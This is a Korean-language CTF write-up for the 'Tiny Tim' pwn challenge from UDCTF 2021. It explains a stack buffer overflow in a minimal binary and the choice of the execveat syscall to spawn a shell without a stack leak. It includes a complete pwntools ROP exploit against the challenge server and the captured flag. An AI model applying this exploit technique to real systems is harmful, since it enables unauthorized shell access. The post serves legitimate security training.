Sechack

UDCTF(BlueHens CTF) 2021 - Tiny Tim 풀이 본문

CTF

UDCTF(BlueHens CTF) 2021 - Tiny Tim 풀이

Sechack 2021. 3. 20. 23:05
반응형

 

바이너리가 굉장히 심플합니다. nasm으로 구현된것 같네요. vuln함수를 보면 rsp에 입력을 받으니까 ret를 조작할 수 있습니다.

 

 

위에 보니까 가젯들도 전부 제공해주고 있습니다. 한가지 문제점은 bss섹션이 존재하지 않고 .text섹션밖에 없어서

/bin/sh문자열을 저장할곳이 없습니다. 결국 스택을 이용해야 합니다. execve system call은 /bin/sh문자열 자체가 아닌 /bin/sh문자열이 저장된 메모리 주소를 필요로 합니다. sysrop를 진행할 가젯은 위에서 보시다시피 충분히 존재합니다.

 

스택에 /bin/sh문자열을 넣고 인자로 전달하려면 stack leak이 필요합니다. 하지만 leak할 방법이 없는것 같습니다.

 

 

vuln함수에 입력받는 부분을 보면 mov rsi, rsp 즉 rsp에 입력을 받는것을 볼 수 있습니다. 여기서 /bin/sh를 입력하게 된다면 rsi에는 /bin/sh의 주소가 들어가게 될것입니다. stack leak을 하지 않고도 /bin/sh문자열을 넣을 수 있게 된겁니다. 하지만 execve system call은 rdi에 /bin/sh문자열의 주소가 들어가야 셸이 따이게 됩니다. rsi를 rdi에 옮길 방법이 없는것 같아서 명령어를 두번째 인자(rsi)로 받고 실행시키는 system call을 찾아보았습니다.

 

 

execveat system call이라는게 있었습니다. 두번째 인자로 명령어가 전달됩니다. 이제 나머지 인자들을 0으로 세팅하게 된다면 /bin/sh가 실행되면서 셸이 따이게 될겁니다.

 

from pwn import *

#p = process("./tiny-tim.out")
r = remote("challenges.ctfd.io", 30017)
e = ELF("./tiny-tim.out")

pop_rax = 0x401000
pop_rsi = 0x401002
pop_rdi = 0x401004
pop_rdx = 0x401006
syscall = 0x40101e

vuln = e.sym["vuln"]

payload = b"a"*0x20
payload += b"b"*0x8
payload += p64(0x401010)

payload += b"a"*0x28
payload += p64(pop_rax)
payload += p64(0x142)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)

sleep(0.5)
r.send(payload)
sleep(0.5)
r.send("/bin/sh\x00")

r.interactive()

 

전체 페이로드입니다.

 

 

성공적으로 셸이 따였습니다.

 

UDCTF{sy5t3m_3ngage!}

 

(대회 중에 작성한 write up으로 대회가 끝날때까지 보호를 걸어놓았습니다.)

반응형
Comments